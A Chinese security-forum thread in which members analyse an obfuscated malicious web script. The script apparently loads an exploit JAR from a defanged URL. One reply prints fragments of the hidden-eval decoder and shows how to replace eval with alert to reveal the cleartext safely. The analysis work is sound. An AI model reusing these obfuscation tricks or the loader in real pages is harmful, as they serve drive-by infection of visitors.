king1636 发表于 2012-4-11 12:30
只能解密到:hxxp://www.alberghi.com:8080/data/Klot.jar?a=1
后门解密方法求指点!
有没有兴趣加入 hunter, 长期帮助会员提供鉴定工作?
清除转义符就可以得到你得到的 jar 部分, 关于后面的代码, 可以简单分为两个部分:
第一部分为 "密文":- <script>f=function(w){c+=w;};c=new Array();</script>
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复制代码 第二部分则为 "解密"脚本:- <script>
- try{new 123;}catch(qwea){ss=1;r='r';}
- zz=window;
- try{Boolean().prototype.a;}catch(qq){e=zz[(ss)?"e"+"val":""];r="replace";}
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- }
- c=c.replace(/>/g,"a>".substr(1)).replace(/</g,"<").replace(/&/g,"&");
- try{asd();}catch(zxc){sss=String;}
- try{new 123;}catch(asg){md=["a"];}
- s="";
- if(r){fr="f"+"r"+"om"+"Ch"+"ar"+"C";fr+='ode';}
- try{new 123;}catch(qwfa){if(e){st=sss[""+fr];}}
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复制代码 在第二部分中, 关注如下代码:- catch(qq){e=zz[(ss)?"e"+"val":""];
复制代码 通过前后定义的变量以及正则表达式, 知 e 即为 eval, 修改末尾如下代码:替换 e 为 alert, 保存 htm 文件 后以 ie 打开, 得到 "明文":
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